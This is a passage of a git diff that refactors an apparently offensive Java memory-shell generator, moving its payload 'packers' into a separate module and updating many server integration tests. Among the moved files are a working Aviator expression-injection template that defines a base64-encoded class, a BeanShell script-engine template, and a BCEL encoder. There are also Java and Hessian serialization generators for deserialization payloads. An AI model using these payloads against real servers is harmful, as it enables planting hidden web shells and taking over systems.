com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; @@ -17,7 +17,6 @@ import org.testcontainers.containers.wait.strategy.Wait; import org.testcontainers.images.builder.ImageFromDockerfile; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; -import org.testcontainers.shaded.org.apache.commons.lang3.tuple.Triple; import java.util.List; import java.util.stream.Stream; diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic12214ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic12214ContainerTest.java index 1130ec93..21316c0c 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic12214ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic12214ContainerTest.java @@ -1,10 +1,10 @@ package com.reajason.javaweb.integration.weblogic; import com.reajason.javaweb.integration.TestCasesProvider; -import com.reajason.javaweb.memshell.Packers; import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic14110ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic14110ContainerTest.java index 4a193818..5613217c 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic14110ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic14110ContainerTest.java @@ -1,10 +1,10 @@ package com.reajason.javaweb.integration.weblogic; import com.reajason.javaweb.integration.TestCasesProvider; -import com.reajason.javaweb.memshell.Packers; import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/websphere/WebSphere855ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/websphere/WebSphere855ContainerTest.java index e1931172..6aa16656 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/websphere/WebSphere855ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/websphere/WebSphere855ContainerTest.java @@ -1,10 +1,10 @@ package com.reajason.javaweb.integration.websphere; import com.reajason.javaweb.integration.TestCasesProvider; -import com.reajason.javaweb.memshell.Packers; import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/websphere/WebSphere905ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/websphere/WebSphere905ContainerTest.java index 7b7a9bd9..5c4c8e3c 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/websphere/WebSphere905ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/websphere/WebSphere905ContainerTest.java @@ -1,10 +1,10 @@ package com.reajason.javaweb.integration.websphere; import com.reajason.javaweb.integration.TestCasesProvider; -import com.reajason.javaweb.memshell.Packers; import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/websphere7/WebSphere700ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/websphere7/WebSphere700ContainerTest.java index ba9fa839..68321682 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/websphere7/WebSphere700ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/websphere7/WebSphere700ContainerTest.java @@ -1,10 +1,10 @@ package com.reajason.javaweb.integration.websphere7; import com.reajason.javaweb.integration.TestCasesProvider; -import com.reajason.javaweb.memshell.Packers; import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly18ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly18ContainerTest.java index e0cd7764..afd824b7 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly18ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly18ContainerTest.java @@ -1,10 +1,10 @@ package com.reajason.javaweb.integration.wildfly; import com.reajason.javaweb.integration.TestCasesProvider; -import com.reajason.javaweb.memshell.Packers; import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly23ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly23ContainerTest.java index 66eea57e..457a75fa 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly23ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly23ContainerTest.java @@ -1,10 +1,10 @@ package com.reajason.javaweb.integration.wildfly; import com.reajason.javaweb.integration.TestCasesProvider; -import com.reajason.javaweb.memshell.Packers; import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly30ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly30ContainerTest.java index 64423d2e..cfe30689 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly30ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly30ContainerTest.java @@ -1,10 +1,10 @@ package com.reajason.javaweb.integration.wildfly; import com.reajason.javaweb.integration.TestCasesProvider; -import com.reajason.javaweb.memshell.Packers; import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly9ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly9ContainerTest.java index abe453ce..365c1667 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly9ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly9ContainerTest.java @@ -1,10 +1,10 @@ package com.reajason.javaweb.integration.wildfly; import com.reajason.javaweb.integration.TestCasesProvider; -import com.reajason.javaweb.memshell.Packers; import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/xxljob/XxlJob220ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/xxljob/XxlJob220ContainerTest.java index f2514cde..f946254a 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/xxljob/XxlJob220ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/xxljob/XxlJob220ContainerTest.java @@ -1,10 +1,10 @@ package com.reajason.javaweb.integration.xxljob; import com.reajason.javaweb.integration.TestCasesProvider; -import com.reajason.javaweb.memshell.Packers; import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/xxljob/XxlJob230ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/xxljob/XxlJob230ContainerTest.java index 1680a273..8c43ae92 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/xxljob/XxlJob230ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/xxljob/XxlJob230ContainerTest.java @@ -1,10 +1,10 @@ package com.reajason.javaweb.integration.xxljob; import com.reajason.javaweb.integration.TestCasesProvider; -import com.reajason.javaweb.memshell.Packers; import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; diff --git a/deserialize/build.gradle.kts b/packer/build.gradle.kts similarity index 88% rename from deserialize/build.gradle.kts rename to packer/build.gradle.kts index 7b62cf56..f3b8784d 100644 --- a/deserialize/build.gradle.kts +++ b/packer/build.gradle.kts @@ -10,6 +10,9 @@ version = rootProject.version dependencies { implementation(project(":memshell-party-common")) + implementation(libs.bcel) + implementation(libs.bundles.jna) + implementation(libs.jackson.databind) implementation("com.caucho:hessian:4.0.66") implementation("commons-beanutils:commons-beanutils:1.9.2") implementation("commons-collections:commons-collections:3.2.1") diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/AggregatePacker.java b/packer/src/main/java/com/reajason/javaweb/packer/AggregatePacker.java similarity index 62% rename from generator/src/main/java/com/reajason/javaweb/memshell/packer/AggregatePacker.java rename to packer/src/main/java/com/reajason/javaweb/packer/AggregatePacker.java index 11bc322a..1ace9d54 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/packer/AggregatePacker.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/AggregatePacker.java @@ -1,7 +1,5 @@ -package com.reajason.javaweb.memshell.packer; +package com.reajason.javaweb.packer; -import com.reajason.javaweb.memshell.Packers; -import com.reajason.javaweb.memshell.config.GenerateResult; import java.util.LinkedHashMap; import java.util.List; @@ -17,13 +15,13 @@ public interface AggregatePacker extends Packer { /** * 聚合打包当前所有分类下的 payload * - * @param generateResult 生成结果 + * @param config 生成结果 * @return key -> 打包名称, value -> 打包 payload */ - default Map packAll(GenerateResult generateResult) { + default Map packAll(ClassPackerConfig config) { return Packers.getPackersWithParent(this.getClass()).stream().collect(Collectors.toMap( Enum::name, - packers -> packers.getInstance().pack(generateResult), + packers -> packers.getInstance().pack(config), (existing, replacement) -> existing, LinkedHashMap::new )); @@ -32,15 +30,15 @@ public interface AggregatePacker extends Packer { /** * 将第一个 sub packer 作为默认输出 * - * @param generateResult 生成的内存马信息 + * @param config 生成的内存马信息 * @return payload */ @Override - default String pack(GenerateResult generateResult) { + default String pack(ClassPackerConfig config) { List packersWithParent = Packers.getPackersWithParent(this.getClass()); if (packersWithParent.isEmpty()) { return null; } - return packersWithParent.get(0).getInstance().pack(generateResult); + return packersWithParent.get(0).getInstance().pack(config); } } diff --git a/packer/src/main/java/com/reajason/javaweb/packer/BCELPacker.java b/packer/src/main/java/com/reajason/javaweb/packer/BCELPacker.java new file mode 100644 index 00000000..558a5e71 --- /dev/null +++ b/packer/src/main/java/com/reajason/javaweb/packer/BCELPacker.java @@ -0,0 +1,16 @@ +package com.reajason.javaweb.packer; + +import lombok.SneakyThrows; +import org.apache.bcel.classfile.Utility; + +/** + * @author ReaJason + * @since 2024/12/19 + */ +public class BCELPacker implements Packer { + @Override + @SneakyThrows + public String pack(ClassPackerConfig config) { + return "$$BCEL$$" + Utility.encode(config.getClassBytes(), true); + } +} diff --git a/packer/src/main/java/com/reajason/javaweb/packer/ClassPackerConfig.java b/packer/src/main/java/com/reajason/javaweb/packer/ClassPackerConfig.java new file mode 100644 index 00000000..60dbbfab --- /dev/null +++ b/packer/src/main/java/com/reajason/javaweb/packer/ClassPackerConfig.java @@ -0,0 +1,15 @@ +package com.reajason.javaweb.packer; + +import lombok.Data; + +/** + * @author ReaJason + * @since 2025/6/27 + */ +@Data +public class ClassPackerConfig { + private String className; + private byte[] classBytes; + private String classBytesBase64Str; + private boolean byPassJavaModule; +} diff --git a/packer/src/main/java/com/reajason/javaweb/packer/JarPackerConfig.java b/packer/src/main/java/com/reajason/javaweb/packer/JarPackerConfig.java new file mode 100644 index 00000000..6854f713 --- /dev/null +++ b/packer/src/main/java/com/reajason/javaweb/packer/JarPackerConfig.java @@ -0,0 +1,15 @@ +package com.reajason.javaweb.packer; + +import lombok.Data; + +import java.util.Map; + +/** + * @author ReaJason + * @since 2025/6/27 + */ +@Data +public class JarPackerConfig { + private String mainClassName; + private transient Map classBytes; +} diff --git a/packer/src/main/java/com/reajason/javaweb/packer/Packer.java b/packer/src/main/java/com/reajason/javaweb/packer/Packer.java new file mode 100644 index 00000000..2fc1adc4 --- /dev/null +++ b/packer/src/main/java/com/reajason/javaweb/packer/Packer.java @@ -0,0 +1,18 @@ +package com.reajason.javaweb.packer; + +/** + * @author ReaJason + * @since 2024/11/26 + */ +public interface Packer { + + /** + * 将自定义类打包成特定 payload + * + * @param classPackerConfig 自定义类信息 + * @return 字符串 payload + */ + default String pack(ClassPackerConfig classPackerConfig) { + throw new UnsupportedOperationException("当前 " + this.getClass().getSimpleName() + " 不支持 string 生成"); + } +} \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/Packers.java b/packer/src/main/java/com/reajason/javaweb/packer/Packers.java similarity index 56% rename from generator/src/main/java/com/reajason/javaweb/memshell/Packers.java rename to packer/src/main/java/com/reajason/javaweb/packer/Packers.java index 987283ee..cbfdba2b 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/Packers.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/Packers.java @@ -1,43 +1,40 @@ -package com.reajason.javaweb.memshell; +package com.reajason.javaweb.packer; -import com.reajason.javaweb.memshell.packer.BCELPacker; -import com.reajason.javaweb.memshell.packer.Packer; -import com.reajason.javaweb.memshell.packer.XxlJobPacker; -import com.reajason.javaweb.memshell.packer.aviator.AviatorPacker; -import com.reajason.javaweb.memshell.packer.base64.Base64Packer; -import com.reajason.javaweb.memshell.packer.base64.DefaultBase64Packer; -import com.reajason.javaweb.memshell.packer.base64.GzipBase64Packer; -import com.reajason.javaweb.memshell.packer.bsh.BeanShellPacker; -import com.reajason.javaweb.memshell.packer.deserialize.hessian.Hessian2Packer; -import com.reajason.javaweb.memshell.packer.deserialize.hessian.Hessian2XSLTScriptEnginePacker; -import com.reajason.javaweb.memshell.packer.deserialize.hessian.HessianPacker; -import com.reajason.javaweb.memshell.packer.deserialize.hessian.HessianXSLTScriptEnginePacker; -import com.reajason.javaweb.memshell.packer.deserialize.java.*; -import com.reajason.javaweb.memshell.packer.el.ELPacker; -import com.reajason.javaweb.memshell.packer.freemarker.FreemarkerPacker; -import com.reajason.javaweb.memshell.packer.groovy.GroovyClassDefinerPacker; -import com.reajason.javaweb.memshell.packer.groovy.GroovyPacker; -import com.reajason.javaweb.memshell.packer.groovy.GroovyScriptEnginePacker; -import com.reajason.javaweb.memshell.packer.jar.AgentJarPacker; -import com.reajason.javaweb.memshell.packer.jar.AgentJarWithJDKAttacherPacker; -import com.reajason.javaweb.memshell.packer.jar.AgentJarWithJREAttacherPacker; -import com.reajason.javaweb.memshell.packer.jar.DefaultJarPacker; -import com.reajason.javaweb.memshell.packer.jexl.JEXLPacker; -import com.reajason.javaweb.memshell.packer.jinjava.JinJavaPacker; -import com.reajason.javaweb.memshell.packer.jsp.ClassLoaderJspPacker; -import com.reajason.javaweb.memshell.packer.jsp.DefineClassJspPacker; -import com.reajason.javaweb.memshell.packer.jsp.JspPacker; -import com.reajason.javaweb.memshell.packer.jsp.JspxPacker; -import com.reajason.javaweb.memshell.packer.jxpath.JXPathPacker; -import com.reajason.javaweb.memshell.packer.mvel.MVELPacker; -import com.reajason.javaweb.memshell.packer.ognl.OGNLPacker; -import com.reajason.javaweb.memshell.packer.rhino.RhinoPacker; -import com.reajason.javaweb.memshell.packer.scriptengine.ScriptEnginePacker; -import com.reajason.javaweb.memshell.packer.spel.SpELPacker; -import com.reajason.javaweb.memshell.packer.spel.SpELScriptEnginePacker; -import com.reajason.javaweb.memshell.packer.spel.SpELSpringIOUtilsGzipPacker; -import com.reajason.javaweb.memshell.packer.spel.SpELSpringUtilsPacker; -import com.reajason.javaweb.memshell.packer.velocity.VelocityPacker; +import com.reajason.javaweb.packer.aviator.AviatorPacker; +import com.reajason.javaweb.packer.base64.Base64Packer; +import com.reajason.javaweb.packer.base64.DefaultBase64Packer; +import com.reajason.javaweb.packer.base64.GzipBase64Packer; +import com.reajason.javaweb.packer.bsh.BeanShellPacker; +import com.reajason.javaweb.packer.deserialize.hessian.Hessian2Packer; +import com.reajason.javaweb.packer.deserialize.hessian.Hessian2XSLTScriptEnginePacker; +import com.reajason.javaweb.packer.deserialize.hessian.HessianPacker; +import com.reajason.javaweb.packer.deserialize.hessian.HessianXSLTScriptEnginePacker; +import com.reajason.javaweb.packer.deserialize.java.*; +import com.reajason.javaweb.packer.el.ELPacker; +import com.reajason.javaweb.packer.freemarker.FreemarkerPacker; +import com.reajason.javaweb.packer.groovy.GroovyClassDefinerPacker; +import com.reajason.javaweb.packer.groovy.GroovyPacker; +import com.reajason.javaweb.packer.groovy.GroovyScriptEnginePacker; +import com.reajason.javaweb.packer.jar.AgentJarPacker; +import com.reajason.javaweb.packer.jar.AgentJarWithJDKAttacherPacker; +import com.reajason.javaweb.packer.jar.AgentJarWithJREAttacherPacker; +import com.reajason.javaweb.packer.jar.DefaultJarPacker; +import com.reajason.javaweb.packer.jexl.JEXLPacker; +import com.reajason.javaweb.packer.jinjava.JinJavaPacker; +import com.reajason.javaweb.packer.jsp.ClassLoaderJspPacker; +import com.reajason.javaweb.packer.jsp.DefineClassJspPacker; +import com.reajason.javaweb.packer.jsp.JspPacker; +import com.reajason.javaweb.packer.jsp.JspxPacker; +import com.reajason.javaweb.packer.jxpath.JXPathPacker; +import com.reajason.javaweb.packer.mvel.MVELPacker; +import com.reajason.javaweb.packer.ognl.OGNLPacker; +import com.reajason.javaweb.packer.rhino.RhinoPacker; +import com.reajason.javaweb.packer.scriptengine.ScriptEnginePacker; +import com.reajason.javaweb.packer.spel.SpELPacker; +import com.reajason.javaweb.packer.spel.SpELScriptEnginePacker; +import com.reajason.javaweb.packer.spel.SpELSpringIOUtilsGzipPacker; +import com.reajason.javaweb.packer.spel.SpELSpringUtilsPacker; +import com.reajason.javaweb.packer.velocity.VelocityPacker; import lombok.Getter; import java.util.List; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/XxlJobPacker.java b/packer/src/main/java/com/reajason/javaweb/packer/XxlJobPacker.java similarity index 80% rename from generator/src/main/java/com/reajason/javaweb/memshell/packer/XxlJobPacker.java rename to packer/src/main/java/com/reajason/javaweb/packer/XxlJobPacker.java index 4480022a..ee9d4ca6 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/packer/XxlJobPacker.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/XxlJobPacker.java @@ -1,8 +1,7 @@ -package com.reajason.javaweb.memshell.packer; +package com.reajason.javaweb.packer; import com.fasterxml.jackson.databind.ObjectMapper; import com.fasterxml.jackson.databind.SerializationFeature; -import com.reajason.javaweb.memshell.config.GenerateResult; import lombok.SneakyThrows; import org.apache.commons.io.IOUtils; @@ -29,10 +28,9 @@ public class XxlJobPacker implements Packer { @Override @SneakyThrows - public String pack(GenerateResult generateResult) { - String source = template - .replace("{{base64Str}}", generateResult.getInjectorBytesBase64Str()) - .replace("{{className}}", generateResult.getInjectorClassName()); + public String pack(ClassPackerConfig config) { + String source = template.replace("{{className}}", config.getClassName()) + .replace("{{base64Str}}", config.getClassBytesBase64Str()); Map map = new HashMap<>(); map.put("jobId", 1); map.put("executorHandler", "demoJobHandler"); diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/aviator/AviatorPacker.java b/packer/src/main/java/com/reajason/javaweb/packer/aviator/AviatorPacker.java similarity index 52% rename from generator/src/main/java/com/reajason/javaweb/memshell/packer/aviator/AviatorPacker.java rename to packer/src/main/java/com/reajason/javaweb/packer/aviator/AviatorPacker.java index 24d7aaae..c63fda97 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/packer/aviator/AviatorPacker.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/aviator/AviatorPacker.java @@ -1,7 +1,7 @@ -package com.reajason.javaweb.memshell.packer.aviator; +package com.reajason.javaweb.packer.aviator; -import com.reajason.javaweb.memshell.config.GenerateResult; -import com.reajason.javaweb.memshell.packer.Packer; +import com.reajason.javaweb.packer.ClassPackerConfig; +import com.reajason.javaweb.packer.Packer; /** * @author ReaJason @@ -11,8 +11,8 @@ public class AviatorPacker implements Packer { String template = "use org.springframework.cglib.core.*;use org.springframework.util.*;ReflectUtils.defineClass('{{className}}', Base64Utils.decodeFromString('{{base64Str}}'), ReflectionUtils.invokeMethod(ClassUtils.getMethod(Class.forName('java.lang.Thread'), 'getContextClassLoader', nil), Thread.currentThread()));"; @Override - public String pack(GenerateResult generateResult) { - return template.replace("{{className}}", generateResult.getInjectorClassName()) - .replace("{{base64Str}}", generateResult.getInjectorBytesBase64Str()); + public String pack(ClassPackerConfig config) { + return template.replace("{{className}}", config.getClassName()) + .replace("{{base64Str}}", config.getClassBytesBase64Str()); } } diff --git a/packer/src/main/java/com/reajason/javaweb/packer/base64/Base64Packer.java b/packer/src/main/java/com/reajason/javaweb/packer/base64/Base64Packer.java new file mode 100644 index 00000000..fc22c97d --- /dev/null +++ b/packer/src/main/java/com/reajason/javaweb/packer/base64/Base64Packer.java @@ -0,0 +1,10 @@ +package com.reajason.javaweb.packer.base64; + +import com.reajason.javaweb.packer.AggregatePacker; + +/** + * @author ReaJason + * @since 2024/12/17 + */ +public class Base64Packer implements AggregatePacker { +} \ No newline at end of file diff --git a/packer/src/main/java/com/reajason/javaweb/packer/base64/DefaultBase64Packer.java b/packer/src/main/java/com/reajason/javaweb/packer/base64/DefaultBase64Packer.java new file mode 100644 index 00000000..daf0a10e --- /dev/null +++ b/packer/src/main/java/com/reajason/javaweb/packer/base64/DefaultBase64Packer.java @@ -0,0 +1,15 @@ +package com.reajason.javaweb.packer.base64; + +import com.reajason.javaweb.packer.ClassPackerConfig; +import com.reajason.javaweb.packer.Packer; + +/** + * @author ReaJason + * @since 2024/12/17 + */ +public class DefaultBase64Packer implements Packer { + @Override + public String pack(ClassPackerConfig config) { + return config.getClassBytesBase64Str(); + } +} \ No newline at end of file diff --git a/packer/src/main/java/com/reajason/javaweb/packer/base64/GzipBase64Packer.java b/packer/src/main/java/com/reajason/javaweb/packer/base64/GzipBase64Packer.java new file mode 100644 index 00000000..3e2fc84f --- /dev/null +++ b/packer/src/main/java/com/reajason/javaweb/packer/base64/GzipBase64Packer.java @@ -0,0 +1,30 @@ +package com.reajason.javaweb.packer.base64; + +import com.reajason.javaweb.packer.ClassPackerConfig; +import com.reajason.javaweb.packer.Packer; +import lombok.SneakyThrows; + +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.util.Base64; +import java.util.zip.GZIPOutputStream; + +/** + * @author ReaJason + * @since 2025/1/22 + */ +public class GzipBase64Packer implements Packer { + @Override + @SneakyThrows + public String pack(ClassPackerConfig config) { + return Base64.getEncoder().encodeToString(gzipCompress(config.getClassBytes())); + } + + public static byte[] gzipCompress(byte[] data) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + try (GZIPOutputStream gzip = new GZIPOutputStream(out)) { + gzip.write(data); + } + return out.toByteArray(); + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/bsh/BeanShellPacker.java b/packer/src/main/java/com/reajason/javaweb/packer/bsh/BeanShellPacker.java similarity index 57% rename from generator/src/main/java/com/reajason/javaweb/memshell/packer/bsh/BeanShellPacker.java rename to packer/src/main/java/com/reajason/javaweb/packer/bsh/BeanShellPacker.java index d62588bd..89cebdf5 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/packer/bsh/BeanShellPacker.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/bsh/BeanShellPacker.java @@ -1,8 +1,8 @@ -package com.reajason.javaweb.memshell.packer.bsh; +package com.reajason.javaweb.packer.bsh; -import com.reajason.javaweb.memshell.Packers; -import com.reajason.javaweb.memshell.config.GenerateResult; -import com.reajason.javaweb.memshell.packer.Packer; +import com.reajason.javaweb.packer.ClassPackerConfig; +import com.reajason.javaweb.packer.Packer; +import com.reajason.javaweb.packer.Packers; /** * @author ReaJason @@ -12,8 +12,8 @@ public class BeanShellPacker implements Packer { String template = "new javax.script.ScriptEngineManager().getEngineByName(\"js\").eval(\"{{script}}\")"; @Override - public String pack(GenerateResult generateResult) { - String script = Packers.ScriptEngine.getInstance().pack(generateResult); + public String pack(ClassPackerConfig config) { + String script = Packers.ScriptEngine.getInstance().pack(config); return template.replace("{{script}}", script.replaceAll("\\\"", "'")); } } diff --git a/packer/src/main/java/com/reajason/javaweb/packer/deserialize/HessianDeserializeGenerator.java b/packer/src/main/java/com/reajason/javaweb/packer/deserialize/HessianDeserializeGenerator.java new file mode 100644 index 00000000..c62fc4ad --- /dev/null +++ b/packer/src/main/java/com/reajason/javaweb/packer/deserialize/HessianDeserializeGenerator.java @@ -0,0 +1,34 @@ +package com.reajason.javaweb.packer.deserialize; + +import com.caucho.hessian.io.Hessian2Output; +import com.caucho.hessian.io.HessianOutput; +import lombok.SneakyThrows; +import org.apache.commons.codec.binary.Base64; + +import java.io.ByteArrayOutputStream; + +/** + * @author ReaJason + * @since 2025/2/19 + */ +public class HessianDeserializeGenerator { + @SneakyThrows + public static String generate(Object obj) { + ByteArrayOutputStream bos = new ByteArrayOutputStream(); + HessianOutput hessianOutput = new HessianOutput(bos); + hessianOutput.getSerializerFactory().setAllowNonSerializable(true); + hessianOutput.writeObject(obj); + hessianOutput.close(); + return Base64.encodeBase64String(bos.toByteArray()); + } + + @SneakyThrows + public static String generate2(Object obj) { + ByteArrayOutputStream bos = new ByteArrayOutputStream(); + Hessian2Output hessian2Output = new Hessian2Output(bos); + hessian2Output.getSerializerFactory().setAllowNonSerializable(true); + hessian2Output.writeObject(obj); + hessian2Output.close(); + return Base64.encodeBase64String(bos.toByteArray()); + } +} diff --git a/packer/src/main/java/com/reajason/javaweb/packer/deserialize/JavaDeserializeGenerator.java b/packer/src/main/java/com/reajason/javaweb/packer/deserialize/JavaDeserializeGenerator.java new file mode 100644 index 00000000..d612f945 --- /dev/null +++ b/packer/src/main/java/com/reajason/javaweb/packer/deserialize/JavaDeserializeGenerator.java @@ -0,0 +1,24 @@ +package com.reajason.javaweb.packer.deserialize; + +import lombok.SneakyThrows; +import org.apache.commons.codec.binary.Base64; + +import java.io.ByteArrayOutputStream; +import java.io.ObjectOutputStream; + +/** + * @author ReaJason + * @since 2024/12/13 + */ +public class JavaDeserializeGenerator { + + @SneakyThrows + public static String generate(Object obj) { + ByteArrayOutputStream bos = new ByteArrayOutputStream(); + ObjectOutputStream oos = new ObjectOutputStream(bos); + oos.writeObject(obj); + oos.flush(); + oos.close(); + return Base64.encodeBase64String(bos.toByteArray()); + } +} diff --git a/deserialize/src/main/java/com/reajason/javaweb/deserialize/TemplateUtils.java b/packer/src/main/java/com/reajason/javaweb/packer/deserialize/TemplateUtils.java similarity index 91% rename from deserialize/src/main/java/com/reajason/javaweb/deserialize/TemplateUtils.java rename to packer/src/main/java/com/reajason/javaweb/packer/deserialize/TemplateUtils.java index c04fe6ed..ed8085e9 100644 --- a/deserialize/src/main/java/com/reajason/javaweb/deserialize/TemplateUtils.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/deserialize/TemplateUtils.java @@ -1,8 +1,8 @@ -package com.reajason.javaweb.deserialize; +package com.reajason.javaweb.packer.deserialize; import com.reajason.javaweb.ClassBytesShrink; import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper; -import com.reajason.javaweb.deserialize.utils.Reflections; +import com.reajason.javaweb.packer.deserialize.utils.Reflections; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import lombok.SneakyThrows; diff --git a/packer/src/main/java/com/reajason/javaweb/packer/deserialize/hessian/Hessian2Packer.java b/packer/src/main/java/com/reajason/javaweb/packer/deserialize/hessian/Hessian2Packer.java new file mode 100644 index 00000000..8c6cdbed --- /dev/null +++ 